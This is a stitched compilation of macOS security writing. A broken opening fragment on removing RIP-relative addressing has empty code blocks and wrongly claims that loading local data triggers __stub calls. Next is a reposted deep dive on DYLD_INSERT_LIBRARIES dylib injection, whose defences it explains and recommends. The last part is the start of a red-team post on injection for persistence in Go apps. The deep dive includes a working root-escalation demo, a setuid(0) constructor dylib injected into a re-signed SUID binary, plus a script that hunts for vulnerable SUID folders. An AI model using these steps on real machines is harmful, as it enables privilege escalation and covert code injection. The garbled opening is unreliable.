By eliminating RIP-relative addressing, you can make it more difficult for attackers to exploit 

certain types of vulnerabilities, since they would need to know the exact location of the data 

or instructions in memory, rather than relying on RIP-relative addressing to access them. 

Eliminating Calls into the __stub Section 
 

When you link an executable or library on macOS, the linker generates a special section called 

__stub that contains stub functions. These stub functions are used to resolve external symbols 

at runtime, and they are called when the program or library attempts to access an external 

symbol that has not yet been resolved. 

However, in some cases, it may be desirable to eliminate calls into the __stub section, for 

example, to reduce the attack surface of the program or library. 

Here's an example of how to eliminate calls into the __stub section in an x86_64 assembly 

program: 

Consider the following code: 



 

In this code, the lea instruction uses RIP-relative addressing to access the address of the 

my_string data. This causes the program to call a stub function in the __stub section, which in 

turn resolves the symbol and jumps to the actual implementation of the function. 

To eliminate calls into the __stub section, you can use the mov instruction to load the address 

of the my_string data directly into a register. Here's the modified code: 

 



In this modified code, the mov instruction is used to load the address of the my_string data 

directly into the rsi register, instead of using RIP-relative addressing. This eliminates the call 

into the __stub section, and can reduce the attack surface of the program or library. 

 

DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX 

And a few similar ones, and I will be honest, I had no idea what is he 
talking about, if only I understood the question :D Despite the fact that 
my recent blog posts and talks are about macOS, I deal much more with 
Windows on a daily basis, probably like 95%, and macOS is still a whole 
new territory for me. So I decided to dig into the question and learn a bit 
more about this. 

As it turns out there is a very well known injection technique for macOS 
utilizing DYLD_INSERT_LIBRARIES environment variable. Here is the 
description of the variable from the dyld man document: 

DYLD_INSERT_LIBRARIES 

              This  is  a colon separated list of dynamic libraries to 

load before the ones specified in the 

              program.  This lets you test new modules of existing 

dynamic shared libraries that are used in 

              flat-namespace images by loading a temporary dynamic 

shared library with just the new modules. 

              Note that this has no effect on images built a two-level  

namespace  images  using  a  dynamic 

              shared library unless DYLD_FORCE_FLAT_NAMESPACE is also 

used. 

In short, it will load any dylibs you specify in this variable before the 
program loads, essentially injecting a dylib into the application. Let’s 
try it! I took my previous dylib code I used when playing with dylib 
hijacking: 

#include <stdio.h> 

#include <syslog.h> 

 

__attribute__((constructor)) 

static void customConstructor(int argc, const char **argv) 

 { 

     printf("Hello from dylib!\n"); 

     syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]); 

} 

Compile: 

gcc -dynamiclib inject.c -o inject.dylib 

https://web.archive.org/web/20160409091449/https:/developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/dyld.1.html


For a quick test I made a sophisticated hello world C code, and tried it 
with that. In order to set the environment variable for the application to 
be executed, you need to specify DYLD_INSERT_LIBRARIES=[path to your 
dylib] in the command line. Here is how it looks like: 

$ ./test  

Hello world 

$ DYLD_INSERT_LIBRARIES=inject.dylib ./test 

Hello from dylib! 

Hello world 

Executing my favourite note taker application, Bear (where I’m writing 
this right now) is also affected: 

$ DYLD_INSERT_LIBRARIES=inject.dylib 

/Applications/Bear.app/Contents/MacOS/Bear  

Hello from dylib! 

We can also see all these events in the log (as our dylib puts there a 
message): 

 

There are two nice examples in the following blog posts about how to 
hook the application itself: 

Thomas Finch - Hooking C Functions at Runtime 

Simple code injection using DYLD_INSERT_LIBRARIES 

I will not repeat those, so if you are interested please read those. 

Can you prevent this infection? Michael mentioned that you can do it by 
adding a RESTRICTED segment at compile time, so I decided to 
research it more. According to Blocking Code Injection on iOS and OS 
X there are three cases when this environment variable will be ignored: 

1. setuid and/or setgid bits are set 
2. restricted by entitlements 
3. restricted segment 

We can actually see this in the source code of dyld - this is an older 
version, but it’s also more 
readable: https://opensource.apple.com/source/dyld/dyld-
210.2.3/src/dyld.cpp 

http://thomasfinch.me/blog/2015/07/24/Hooking-C-Functions-At-Runtime.html
https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
https://web.archive.org/web/20161007013145/http:/pewpewthespells.com/blog/blocking_code_injection_on_ios_and_os_x.html
https://web.archive.org/web/20161007013145/http:/pewpewthespells.com/blog/blocking_code_injection_on_ios_and_os_x.html
https://opensource.apple.com/source/dyld/dyld-210.2.3/src/dyld.cpp
https://opensource.apple.com/source/dyld/dyld-210.2.3/src/dyld.cpp


The function pruneEnvironmentVariables will remove the environment 
variables: 

static void pruneEnvironmentVariables(const char* envp[], const 

char*** applep) 

{ 

 // delete all DYLD_* and LD_LIBRARY_PATH environment variables 

 int removedCount = 0; 

 const char** d = envp; 

 for(const char** s = envp; *s != NULL; s++) { 

     if ( (strncmp(*s, "DYLD_", 5) != 0) && (strncmp(*s, 

"LD_LIBRARY_PATH=", 16) != 0) ) { 

   *d++ = *s; 

  } 

  else { 

   ++removedCount; 

  } 

 } 

 *d++ = NULL; 

 if ( removedCount != 0 ) { 

  dyld::log("dyld: DYLD_ environment variables being 

ignored because "); 

  switch (sRestrictedReason) { 

   case restrictedNot: 

    break; 

   case restrictedBySetGUid: 

    dyld::log("main executable (%s) is 

setuid or setgid\n", sExecPath); 

    break; 

   case restrictedBySegment: 

    dyld::log("main executable (%s) has 

__RESTRICT/__restrict section\n", sExecPath); 

    break; 

   case restrictedByEntitlements: 

    dyld::log("main executable (%s) is code 

signed with entitlements\n", sExecPath); 

    break; 

  } 

 } 

  

 // slide apple parameters 

 if ( removedCount > 0 ) { 

  *applep = d; 

  do { 

   *d = d[removedCount]; 

  } while ( *d++ != NULL ); 

  for(int i=0; i < removedCount; ++i) 

   *d++ = NULL; 

 } 

  

 // disable framework and library fallback paths for setuid 

binaries rdar://problem/4589305 

 sEnv.DYLD_FALLBACK_FRAMEWORK_PATH = NULL; 

 sEnv.DYLD_FALLBACK_LIBRARY_PATH = NULL; 

} 



If we search where the variable sRestrictedReason is set, we arrive to the 
function processRestricted: 

static bool processRestricted(const macho_header* mainExecutableMH) 

{ 

    // all processes with setuid or setgid bit set are restricted 

    if ( issetugid() ) { 

  sRestrictedReason = restrictedBySetGUid; 

  return true; 

 } 

   

 const uid_t euid = geteuid(); 

 if ( (euid != 0) && hasRestrictedSegment(mainExecutableMH) ) { 

  // existence of __RESTRICT/__restrict section make 

process restricted 

  sRestrictedReason = restrictedBySegment; 

  return true; 

 } 

  

#if __MAC_OS_X_VERSION_MIN_REQUIRED     

    // ask kernel if code signature of program makes it restricted 

    uint32_t flags; 

    if ( syscall(SYS_csops /* 169 */, 

                0 /* asking about myself */, 

                CS_OPS_STATUS, 

                &flags, 

                sizeof(flags)) != -1) { 

        if (flags & CS_RESTRICT) { 

   sRestrictedReason = restrictedByEntitlements; 

   return true; 

  } 

    } 

#endif 

    return false; 

} 

This is the code segment that will identify the restricted segment: 

// 

// Look for a special segment in the mach header.  

// Its presences means that the binary wants to have DYLD ignore 

// DYLD_ environment variables. 

// 

#if __MAC_OS_X_VERSION_MIN_REQUIRED 

static bool hasRestrictedSegment(const macho_header* mh) 

{ 

 const uint32_t cmd_count = mh->ncmds; 

 const struct load_command* const cmds = (struct 

load_command*)(((char*)mh)+sizeof(macho_header)); 

 const struct load_command* cmd = cmds; 

 for (uint32_t i = 0; i < cmd_count; ++i) { 

  switch (cmd->cmd) { 

   case LC_SEGMENT_COMMAND: 

   { 



    const struct macho_segment_command* seg 

= (struct macho_segment_command*)cmd; 

     

    //dyld::log("seg name: %s\n", seg-

>segname); 

    if (strcmp(seg->segname, "__RESTRICT") 

== 0) { 

     const struct macho_section* 

const sectionsStart = (struct macho_section*)((char*)seg + 

sizeof(struct macho_segment_command)); 

     const struct macho_section* 

const sectionsEnd = &sectionsStart[seg->nsects]; 

     for (const struct macho_section* 

sect=sectionsStart; sect < sectionsEnd; ++sect) { 

      if (strcmp(sect-

>sectname, "__restrict") == 0)  

       return true; 

     } 

    } 

   } 

   break; 

  } 

  cmd = (const struct load_command*)(((char*)cmd)+cmd-

>cmdsize); 

 } 

   

 return false; 

} 

#endif 

Now, the above is the old source code, that was referred in the article 
above - since then it has evolved. The latest available code 
is dyld.cpp looks slightly more complicated, but essentially the same 
idea. Here is the relevant code segment, that sets the restriction, and 
the one that returns it (configureProcessRestrictions , 
processIsRestricted ): 

static void configureProcessRestrictions(const macho_header* 

mainExecutableMH) 

{ 

 uint64_t amfiInputFlags = 0; 

#if TARGET_IPHONE_SIMULATOR 

 amfiInputFlags |= AMFI_DYLD_INPUT_PROC_IN_SIMULATOR; 

#elif __MAC_OS_X_VERSION_MIN_REQUIRED 

 if ( hasRestrictedSegment(mainExecutableMH) ) 

  amfiInputFlags |= 

AMFI_DYLD_INPUT_PROC_HAS_RESTRICT_SEG; 

#elif __IPHONE_OS_VERSION_MIN_REQUIRED 

 if ( isFairPlayEncrypted(mainExecutableMH) ) 

  amfiInputFlags |= AMFI_DYLD_INPUT_PROC_IS_ENCRYPTED; 

#endif 

 uint64_t amfiOutputFlags = 0; 

 if ( amfi_check_dyld_policy_self(amfiInputFlags, 

&amfiOutputFlags) == 0 ) { 

https://opensource.apple.com/source/dyld/dyld-635.2/src/dyld.cpp.auto.html


  gLinkContext.allowAtPaths     = 

(amfiOutputFlags & AMFI_DYLD_OUTPUT_ALLOW_AT_PATH); 

  gLinkContext.allowEnvVarsPrint   = 

(amfiOutputFlags & AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS); 

  gLinkContext.allowEnvVarsPath   = 

(amfiOutputFlags & AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS); 

  gLinkContext.allowEnvVarsSharedCache = 

(amfiOutputFlags & AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE); 

  gLinkContext.allowClassicFallbackPaths = 

(amfiOutputFlags & AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS); 

  gLinkContext.allowInsertFailures     = 

(amfiOutputFlags & AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION); 

 } 

 else { 

#if __MAC_OS_X_VERSION_MIN_REQUIRED 

  // support chrooting from old kernel 

  bool isRestricted = false; 

  bool libraryValidation = false; 

  // any processes with setuid or setgid bit set or with 

__RESTRICT segment is restricted 

  if ( issetugid() || 

hasRestrictedSegment(mainExecutableMH) ) { 

   isRestricted = true; 

  } 

  bool usingSIP = (csr_check(CSR_ALLOW_TASK_FOR_PID) != 

0); 

  uint32_t flags; 

  if ( csops(0, CS_OPS_STATUS, &flags, sizeof(flags)) != 

-1 ) { 

   // On OS X CS_RESTRICT means the program was 

signed with entitlements 

   if ( ((flags & CS_RESTRICT) == CS_RESTRICT) && 

usingSIP ) { 

    isRestricted = true; 

   } 

   // Library Validation loosens searching but 

requires everything to be code signed 

   if ( flags & CS_REQUIRE_LV ) { 

    isRestricted = false; 

    libraryValidation = true; 

   } 

  } 

  gLinkContext.allowAtPaths                = 

!isRestricted; 

  gLinkContext.allowEnvVarsPrint           = 

!isRestricted; 

  gLinkContext.allowEnvVarsPath            = 

!isRestricted; 

  gLinkContext.allowEnvVarsSharedCache     = 

!libraryValidation || !usingSIP; 

  gLinkContext.allowClassicFallbackPaths   = 

!isRestricted; 

  gLinkContext.allowInsertFailures         = false; 

#else 

  halt("amfi_check_dyld_policy_self() failed\n"); 



#endif 

 } 

} 

 

bool processIsRestricted() 

{ 

#if __MAC_OS_X_VERSION_MIN_REQUIRED 

 return !gLinkContext.allowEnvVarsPath; 

#else 

 return false; 

#endif 

} 

It will set the gLinkContext.allowEnvVarsPath to false if: 

1. The main executable has restricted segment 
2. suid / guid bits are set 
3. SIP is enabled (if anyone wonders CSR_ALLOW_TASK_FOR_PID is a SIP boot 

configuration flag, but I don’t know much more about it) and the 
program has the CS_RESTRICT flag (on OSX = program was signed with 
entitlements) 

But! It’s unset if CS_REQUIRE_LV is set. What this flag does? If it’s set for 
the main binary, it means that the loader will verify every single dylib 
loaded into the application, if they were signed with the same key as the 
main executable. If we think about this it kinda makes sense, as you can 
only inject a dylib to the application that was developed by the same 
person. You can only abuse this if you have access to that code signing 
certificate - or not, more on that later ;). 

There is another option to protect the application, and it’s 
enabling Hardened Runtime. Then if you want, you can specifically 
enable DYLD environment variables: Allow DYLD Environment 
Variables Entitlement - Entitlements. The above source code seems to 
be dated back to 2013, and this option is only available since Mojave 
(10.14), which was released last year (2018), probably this is why we 
don’t see anything about this in the source code. 

For the record, these are the values of the CS flags, taken 
from cs_blobs.h 

#define CS_RESTRICT  0x0000800 /* tell dyld to treat 

restricted */ 

#define CS_REQUIRE_LV  0x0002000 /* require library 

validation */ 

#define CS_RUNTIME  0x00010000  /* Apply hardened runtime 

policies */ 

This was the theory, let’s see all of these in practice, if they indeed work 
as advertised. I will create an Xcode project and modify the 

https://developer.apple.com/documentation/security/hardened_runtime_entitlements
https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables
https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables
https://opensource.apple.com/source/xnu/xnu-4903.221.2/osfmk/kern/cs_blobs.h.auto.html


configuration as needed. Before that we can use our original code for 
the SUID bit testing, and as we can see it works as expected: 

#setting ownership 

$ sudo chown root test 

$ ls -l test 

-rwxr-xr-x  1 root  staff  8432 Jul  8 16:46 test 

 

#setting suid flag, and running, as we can see the dylib is not run 

$ sudo chmod +s test 

$ ls -l test 

-rwsr-sr-x  1 root  staff  8432 Jul  8 16:46 test 

$ ./test  

Hello world 

$ DYLD_INSERT_LIBRARIES=inject.dylib ./test 

Hello world 

 

#removing suid flag and running 

$ sudo chmod -s test 

$ ls -l test 

-rwxr-xr-x  1 root  staff  8432 Jul  8 16:46 test 

$ DYLD_INSERT_LIBRARIES=inject.dylib ./test 

Hello from dylib! 

Hello world 

Interestingly, in the past, there was an LPE bug from incorrectly 
handling one of the environment variables, and with SUID files, you 
could achieve privilege escalation, here you can read the details: OS X 
10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability | 
SektionEins GmbH 

I created a complete blank Cocoa App for testing the other stuff. I also 
export the environment variable, so we don’t need to specify it always: 

export DYLD_INSERT_LIBRARIES=inject.dylib 

If we compile it, and run as default, we can see that dylib is injected: 

$ ./HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa  

Hello from dylib! 

To have a restricted section, on the Build Settings -> Linking -> Other 
linker flags let’s set this value: 

-Wl,-sectcreate,__RESTRICT,__restrict,/dev/null 

If we recompile, we will see a whole bunch of errors, that dylibs are 
being ignored, like these: 

dyld: warning, LC_RPATH @executable_path/../Frameworks in 

/Users/csaby/Library/Developer/Xcode/DerivedData/HelloWorldCocoa-

https://www.sektioneins.de/blog/15-07-07-dyld_print_to_file_lpe.html
https://www.sektioneins.de/blog/15-07-07-dyld_print_to_file_lpe.html
https://www.sektioneins.de/blog/15-07-07-dyld_print_to_file_lpe.html


apovdjtqwdvhlzddnqghiknptqqb/Build/Products/Debug/HelloWorldCocoa.app/

Contents/MacOS/HelloWorldCocoa being ignored in restricted program 

because of @executable_path 

dyld: warning, LC_RPATH @executable_path/../Frameworks in 

/Users/csaby/Library/Developer/Xcode/DerivedData/HelloWorldCocoa-

apovdjtqwdvhlzddnqghiknptqqb/Build/Products/Debug/HelloWorldCocoa.app/

Contents/MacOS/HelloWorldCocoa being ignored in restricted program 

because of @executable_path 

Our dylib is also not loaded, so indeed it works as expected. We can 
verify the segment being present with the size command, and indeed 
we can see it there: 

$ size -x -l -m HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa 

Segment __PAGEZERO: 0x100000000 (vmaddr 0x0 fileoff 0) 

Segment __TEXT: 0x2000 (vmaddr 0x100000000 fileoff 0) 

 Section __text: 0x15c (addr 0x1000012b0 offset 4784) 

 Section __stubs: 0x24 (addr 0x10000140c offset 5132) 

 Section __stub_helper: 0x4c (addr 0x100001430 offset 5168) 

 Section __objc_classname: 0x2d (addr 0x10000147c offset 5244) 

 Section __objc_methname: 0x690 (addr 0x1000014a9 offset 5289) 

 Section __objc_methtype: 0x417 (addr 0x100001b39 offset 6969) 

 Section __cstring: 0x67 (addr 0x100001f50 offset 8016) 

 Section __unwind_info: 0x48 (addr 0x100001fb8 offset 8120) 

 total 0xd4f 

Segment __DATA: 0x1000 (vmaddr 0x100002000 fileoff 8192) 

 Section __nl_symbol_ptr: 0x10 (addr 0x100002000 offset 8192) 

 Section __la_symbol_ptr: 0x30 (addr 0x100002010 offset 8208) 

 Section __objc_classlist: 0x8 (addr 0x100002040 offset 8256) 

 Section __objc_protolist: 0x10 (addr 0x100002048 offset 8264) 

 Section __objc_imageinfo: 0x8 (addr 0x100002058 offset 8280) 

 Section __objc_const: 0x9a0 (addr 0x100002060 offset 8288) 

 Section __objc_ivar: 0x8 (addr 0x100002a00 offset 10752) 

 Section __objc_data: 0x50 (addr 0x100002a08 offset 10760) 

 Section __data: 0xc0 (addr 0x100002a58 offset 10840) 

 total 0xb18 

Segment __RESTRICT: 0x0 (vmaddr 0x100003000 fileoff 12288) 

 Section __restrict: 0x0 (addr 0x100003000 offset 12288) 

 total 0x0 

Segment __LINKEDIT: 0x6000 (vmaddr 0x100003000 fileoff 12288) 

total 0x100009000 

Alternatively we can use the otool -l [path to the binary] command for 
the same purpose, the output will be slightly different. 

Next one is setting the app to have ( hardened runtime ), we can do this 
at the Build Settings -> Signing -> Enable Hardened Runtime or at the 
Capabilities section. If we do this and rebuild the app, and try to run it, 
we get the following error: 

dyld: warning: could not load inserted library 'inject.dylib' into 

hardened process because no suitable image found.  Did find: 

https://developer.apple.com/documentation/security/hardened_runtime_entitlements


 inject.dylib: code signature in (inject.dylib) not valid for 

use in process using Library Validation: mapped file has no cdhash, 

completely unsigned? Code has to be at least ad-hoc signed. 

 inject.dylib: stat() failed with errno=1 

If I code sign my dylib using the same certificate the dylib will be 
loaded: 

codesign -s "Mac Developer: fitzl.csaba.dev@gmail.com (RQGUDM4LR2)" 

inject.dylib 

$ codesign -dvvv inject.dylib  

Executable=inject.dylib 

Identifier=inject 

Format=Mach-O thin (x86_64) 

CodeDirectory v=20200 size=230 flags=0x0(none) hashes=3+2 

location=embedded 

Hash type=sha256 size=32 

CandidateCDHash sha256=348bf4f1a2cf3d6b608e3d4cfd0d673fdd7c9795 

Hash choices=sha256 

CDHash=348bf4f1a2cf3d6b608e3d4cfd0d673fdd7c9795 

Signature size=4707 

Authority=Mac Developer: fitzl.csaba.dev@gmail.com (RQGUDM4LR2) 

Authority=Apple Worldwide Developer Relations Certification Authority 

Authority=Apple Root CA 

Signed Time=2019. Jul 9. 11:40:15 

Info.plist=not bound 

TeamIdentifier=33YRLYRBYV 

Sealed Resources=none 

Internal requirements count=1 size=180 

 

$ /HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa  

Hello from dylib! 

If I use another certificate for code signing, it won’t be loaded as you 
can see below. I want to highlight that this verification is always being 
done, it’s not a Gatekeeper thing. 

$ codesign -f -s "Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG)" 

inject.dylib  

inject.dylib: replacing existing signature 

 

$ codesign -dvvv inject.dylib  

Executable=inject.dylib 

Identifier=inject 

Format=Mach-O thin (x86_64) 

CodeDirectory v=20200 size=230 flags=0x0(none) hashes=3+2 

location=embedded 

Hash type=sha256 size=32 

CandidateCDHash sha256=2a3de5a788d89ef100d1193c492bfddd6042e04c 

Hash choices=sha256 

CDHash=2a3de5a788d89ef100d1193c492bfddd6042e04c 

Signature size=4703 

Authority=Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG) 

Authority=Apple Worldwide Developer Relations Certification Authority 



Authority=Apple Root CA 

Signed Time=2019. Jul 9. 11:43:57 

Info.plist=not bound 

TeamIdentifier=E7Q33VUH49 

Sealed Resources=none 

Internal requirements count=1 size=176 

 

$ /HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa  

dyld: warning: could not load inserted library 'inject.dylib' into 

hardened process because no suitable image found.  Did find: 

 inject.dylib: code signature in (inject.dylib) not valid for 

use in process using Library Validation: mapping process and mapped 

file (non-platform) have different Team IDs 

 inject.dylib: stat() failed with errno=1 

Interestingly, even if I set the com.apple.security.cs.allow-dyld-
environment-variables entitlement at the capabilities page, I can’t load a 
dylib with other signature. Not sure what I’m doing wrong. 

 

To move on, let’s set the library validation (CS_REQUIRE_LV) requirement 
for the application. It can be done, by going to Build Settings -> Signing 
-> Other Code Signing Flags and set it to -o library. If we recompile and 
check the code signature for our binary, we can see it enabled: 

$ codesign -dvvv /HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa  

Executable=/HelloWorldCocoa.app/Contents/MacOS/HelloWorldCocoa 

(...) 

CodeDirectory v=20200 size=377 flags=0x2000(library-validation) 

hashes=4+5 location=embedded 

(...) 

And we get the same error message as with the hardened runtime if we 
try to load a dylib with different signer. 

dyld: warning: could not load inserted library 'inject.dylib' into 

hardened process because no suitable image found.  Did find: 

 inject.dylib: code signature in (inject.dylib) not valid for 

use in process using Library Validation: mapping process and mapped 

file (non-platform) have different Team IDs 

 inject.dylib: stat() failed with errno=1 



The last item to try would be to set the CS_RESTRICT flag, but the only 
thing I found about this is that it’s a special flag only set for Apple 
binaries. If anyone can give more background, let me know, I’m 
curious. The only thing I could do to verify it, is trying to inject to an 
Apple binary, which doesn’t have the previous flags set, not a suid file 
neither has a RESTRICTED segment. Interestingly the CS_RESTRICT flag is 
not reflected by the code signing utility. I picked up Disk Utility. Indeed 
our dylib is not loaded: 

$ codesign -dvvv /Applications/Utilities/Disk\ 

Utility.app/Contents/MacOS/Disk\ Utility  

Executable=/Applications/Utilities/Disk 

Utility.app/Contents/MacOS/Disk Utility 

Identifier=com.apple.DiskUtility 

Format=app bundle with Mach-O thin (x86_64) 

CodeDirectory v=20100 size=8646 flags=0x0(none) hashes=263+5 

location=embedded 

Platform identifier=7 

Hash type=sha256 size=32 

CandidateCDHash sha256=2fbbd1e193e5dff4248aadeef196ef181b1adc26 

Hash choices=sha256 

CDHash=2fbbd1e193e5dff4248aadeef196ef181b1adc26 

Signature size=4485 

Authority=Software Signing 

Authority=Apple Code Signing Certification Authority 

Authority=Apple Root CA 

Info.plist entries=28 

TeamIdentifier=not set 

Sealed Resources version=2 rules=13 files=1138 

Internal requirements count=1 size=72 

 

$ DYLD_INSERT_LIBRARIES=inject.dylib /Applications/Utilities/Disk\ 

Utility.app/Contents/MacOS/Disk\ Utility  

I would say that’s all, but no. Let’s go back to the fact that you can inject 
a dylib even to SUID files if the CS_REQUIRE_LV flag is set. (In fact probably 
also to files with the CS_RUNTIME flag). Yes, only dylibs with the same 
signature, but there is a potential (although small) for privilege 
escalation. To show, I modified my dylib: 

#include <stdio.h> 

#include <syslog.h> 

#include <stdlib.h> 

 

__attribute__((constructor)) 

static void customConstructor(int argc, const char **argv) 

 { 

 setuid(0); 

  system("id"); 

 printf("Hello from dylib!\n"); 

 syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]); 

} 



Let’s sign this, and the test program with the same certificate and set 
the SUID bit for the test binary and run it. As we can see we can inject a 
dylib as expected and indeed it will run as root. 

gcc -dynamiclib inject.c -o inject.dylib 

codesign -f -s "Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG)" 

inject.dylib 

codesign -f -s "Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG)" -o 

library test 

sudo chown root test 

sudo chmod +s test 

 

ls -l test 

-rwsr-sr-x  1 root  staff  26912 Jul  9 14:01 test 

 

codesign -dvvv test 

Executable=/Users/csaby/Downloads/test 

Identifier=test 

Format=Mach-O thin (x86_64) 

CodeDirectory v=20200 size=228 flags=0x2000(library-validation) 

hashes=3+2 location=embedded 

Hash type=sha256 size=32 

CandidateCDHash sha256=7d06a7229cbc476270e455cb3ef88bdddf109f12 

Hash choices=sha256 

CDHash=7d06a7229cbc476270e455cb3ef88bdddf109f12 

Signature size=4703 

Authority=Mac Developer: fitzl.csaba@gmail.com (M9UN3Y3UDG) 

Authority=Apple Worldwide Developer Relations Certification Authority 

Authority=Apple Root CA 

Signed Time=2019. Jul 9. 14:01:03 

Info.plist=not bound 

TeamIdentifier=E7Q33VUH49 

Sealed Resources=none 

Internal requirements count=1 size=172 

 

./test  

uid=0(root) gid=0(wheel) egid=20(staff) 

groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview

),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80

(admin),702(com.apple.sharepoint.group.2),701(com.apple.sharepoint.gro

up.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(

_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screen

sharing),399(com.apple.access_ssh) 

Hello from dylib! 

Hello world  

In theory you need one of the following to exploit this: 

1. Have the code signing certificate of the original executable (very 
unlikely) 

2. Have write access to the folder, where the file with SUID bit present -> 
in this case you can sign the file with your own certificate (code sign 
will replace the file you sign, so it will delete the original and create a 



new - this is possible because on *nix systems you can delete files from 
directories, where you are the owner even if the file is owned by root), 
wait for the SUID bit to be restored (fingers crossed) and finally inject 
your own dylib. You would think that such scenario wouldn’t exist, but I 
did find an example for it. 

Here is a quick and dirty python script to find #2 items, mostly put 
together from StackOverflow :D 

#!/usr/bin/python3 

 

import os 

import getpass 

from pathlib import Path 

 

binaryPaths = ('/Applications/GNS3/Resources/') 

username = getpass.getuser() 

 

for binaryPath in binaryPaths: 

 for rootDir,subDirs,subFiles in os.walk(binaryPath): 

  for subFile in subFiles: 

   absPath = os.path.join(rootDir,subFile) 

   try: 

    permission = 

oct(os.stat(absPath).st_mode)[-4:] 

    specialPermission = permission[0] 

    if int(specialPermission) >= 4: 

     p = 

Path(os.path.abspath(os.path.join(absPath, os.pardir))) 

     if p.owner() == username: 

      print("Potential issue 

found, owner of parent folder is:", username) 

      print(permission , 

absPath) 

   except: 

    pass 

One last thought on this topic is GateKeeper. You can inject quarantine 
flagged binaries in Mojave, which in fact is pretty much expected. 

$ ./test  

uid=0(root) gid=0(wheel) egid=20(staff) 

groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview

),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80

(admin),702(com.apple.sharepoint.group.2),701(com.apple.sharepoint.gro

up.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(

_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screen

sharing),399(com.apple.access_ssh) 

Hello from dylib! 

Hello world 

 

$ xattr -l inject.dylib  

com.apple.metadata:kMDItemWhereFroms: 



00000000  62 70 6C 69 73 74 30 30 A2 01 02 5F 10 22 68 74  

|bplist00..._."ht| 

00000010  74 70 3A 2F 2F 31 32 37 2E 30 2E 30 2E 31 3A 38  

|tp://127.0.0.1:8| 

00000020  30 38 30 2F 69 6E 6A 65 63 74 2E 64 79 6C 69 62  

|080/inject.dylib| 

00000030  5F 10 16 68 74 74 70 3A 2F 2F 31 32 37 2E 30 2E  

|_..http://127.0.| 

00000040  30 2E 31 3A 38 30 38 30 2F 08 0B 30 00 00 00 00  

|0.1:8080/..0....| 

00000050  00 00 01 01 00 00 00 00 00 00 00 03 00 00 00 00  

|................| 

00000060  00 00 00 00 00 00 00 00 00 00 00 49              

|...........I| 

0000006c 

com.apple.quarantine: 0081;5d248e35;Chrome;CE4482F1-0AD8-4387-ABF6-

C05A4443CAF4 

However it doesn’t work anymore on Catalina, which is also expected 
with the introduced changes: 

 

We got a very similar error message as before: 

dyld: could not load inserted library 'inject.dylib' because no 

suitable image found.  Did find: 

 inject.dylib: code signature in (inject.dylib) not valid for 

use in process using Library Validation: Library load disallowed by 

System Policy 

 inject.dylib: stat() failed with errno=1 

I think applications should protect themselves against this type of dylib 
injection, and as it stands, it’s pretty easy to do, you have a handful of 
options, so there is really no reason not to do so. As Apple is moving 
towards notarization hardened runtime will be enabled slowly for 
most/all applications (it is mandatory for notarised apps), so hopefully 



this injection technique will fade away slowly. If you develop an app 
where you set the SUID bit, be sure to properly set permissions for the 
parent folder. 

 

https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_d

ive/ 

DYLIB Injection in Golang apps on Apple silicon chips 
 

Creating persistence is one of the biggest challenges during Red Team engagements, and 

doing it in a stealthy, yet reliable way is even more difficult. One old technique on Unix 

based systems is library injection through environment variables. In this post, we will look at 

whether this is still possible after macOS 10.14 (Mojave). 

Overview 

On Linux systems one can inject shared objects into a process by specifying 

the LD_PRELOAD environment variable, while on MacOS the equivalent is 

the DYLD_INSERT_LIBRARIES variable. Both of them allow the user (or the attacker) to specify 

a .so or .dylib file that will get loaded into a process upon execution. This effectively allows 

code injection and access to application internals such as process memory and control flow. It 

can be a powerful technique for developers debugging their applications but also for attackers 

creating backdoors on a system. 

We carry out our Red Team engagements in an environment with a large number of clients 

running MacOS and custom Golang applications, and wanted to test if DYLIB injection was still 

feasible after the introduction of System Integrity Protection (SIP) and Hardened Runtime by 

Apple in macOS 10.14 (Mojave). 

In this article we will cover: 

• testing DYLIB injection on Golang apps on an M1 Mac 

• creating an effective payload for terminal keylogging on OSX 

• facing the challenges of multiarch support via Rosetta 

• mitigating DYLIB injection in Golang apps by using hardened runtime 

Dylib injection in Golang apps 

The good (and also the bad news) is, DYLIB injection in Golang apps just works. Since Golang is 

compiled into native machine code it is just as vulnerable to DYLIB injection as any other 

application built in C for example. To test this we can create a small Golang application: 

password.go 

package main 

 

import ( 

https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/


    "fmt" 

) 

 

func main() { 

    fmt.Println("Enter password: ") 

    text2 := "" 

    fmt.Scanln(&text2) 

    fmt.Println("Welcome!") 

} 

Build it with: 

% go build password.go 

Now let's build a library we can inject. We are going to code this one in C, for the sake of 

expanding it later into a proper payload: 

payload.c 

#include <stdio.h> 

 

__attribute__((constructor)) 

static void customConstructor(int argc, const char **argv) 

{ 

  printf("DYLIB injection successful!\n"); 

} 

